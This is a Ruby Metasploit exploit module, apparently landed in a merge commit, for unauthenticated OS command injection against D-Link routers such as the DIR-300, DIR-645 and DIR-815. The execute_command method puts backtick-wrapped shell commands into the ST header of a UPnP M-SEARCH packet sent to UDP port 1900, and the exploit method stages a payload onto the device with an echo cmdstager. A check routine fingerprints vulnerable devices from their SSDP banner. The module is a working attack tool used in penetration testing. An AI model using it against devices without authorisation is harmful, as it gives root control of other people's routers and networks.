Land #3455, @m-1-k-3's exploit for DLink UPNP M-Search Command Injection
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection',
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'Description' => %q{
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Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast
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requests. This module has been tested on DIR-300 and DIR-645 devices. Zacharia Cutlip
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has initially reported the DIR-815 vulnerable. Probably there are other devices also
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affected.
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},
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'Author' =>
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[
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'Zachary Cutlip', # Vulnerability discovery and initial exploit
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'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module and verification on other routers
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit
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['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit
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],
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'DisclosureDate' => 'Feb 01 2013',
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'Privileged' => true,
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'Targets' =>
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[
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[ 'MIPS Little Endian',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSLE
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}
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],
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[ 'MIPS Big Endian', # unknown if there are big endian devices out there
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{
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'Platform' => 'linux',
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'Arch' => ARCH_MIPS
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}
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]
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],
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'DefaultTarget' => 0
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))
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register_options(
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[
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Opt::RHOST(),
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Opt::RPORT(1900)
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], self.class)
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deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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end
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def check
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configure_socket
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pkt =
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"M-SEARCH * HTTP/1.1\r\n" +
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"Host:239.255.255.250:1900\r\n" +
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"ST:upnp:rootdevice\r\n" +
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"Man:\"ssdp:discover\"\r\n" +
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"MX:2\r\n\r\n"
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udp_sock.sendto(pkt, rhost, rport, 0)
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res = nil
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1.upto(5) do
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res,_,_ = udp_sock.recvfrom(65535, 1.0)
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break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi
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udp_sock.sendto(pkt, rhost, rport, 0)
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end
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# UPnP response:
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# [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1
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# we do not check for the Device ID (DIR-645) and for the firmware version because there are different
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# dlink devices out there and we do not know all the vulnerable versions
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if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi
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return Exploit::CheckCode::Detected
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end
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Exploit::CheckCode::Unknown
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end
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def execute_command(cmd, opts)
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configure_socket
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pkt =
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"M-SEARCH * HTTP/1.1\r\n" +
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"Host:239.255.255.250:1900\r\n" +
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"ST:uuid:`#{cmd}`\r\n" +
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"Man:\"ssdp:discover\"\r\n" +
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"MX:2\r\n\r\n"
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udp_sock.sendto(pkt, rhost, rport, 0)
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end
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def exploit
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print_status("#{rhost}:#{rport} - Trying to access the device via UPnP ...")
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unless check == Exploit::CheckCode::Detected
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to access the vulnerable device")
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end
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print_status("#{rhost}:#{rport} - Exploiting...")
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execute_cmdstager(
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:flavor => :echo,
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:linemax => 950
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)
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end
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# the packet stuff was taken from the module miniupnpd_soap_bof.rb
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# We need an unconnected socket because SSDP replies often come
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# from a different sent port than the one we sent to. This also
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# breaks the standard UDP mixin.
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def configure_socket
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self.udp_sock = Rex::Socket::Udp.create({
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'Context' => { 'Msf' => framework, 'MsfExploit' => self }
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})
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add_socket(self.udp_sock)
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end
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#
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# Required since we aren't using the normal mixins
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#
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def rhost
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datastore['RHOST']
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end
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def rport
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datastore['RPORT']
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end
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# Accessor for our UDP socket
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attr_accessor :udp_sock
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end
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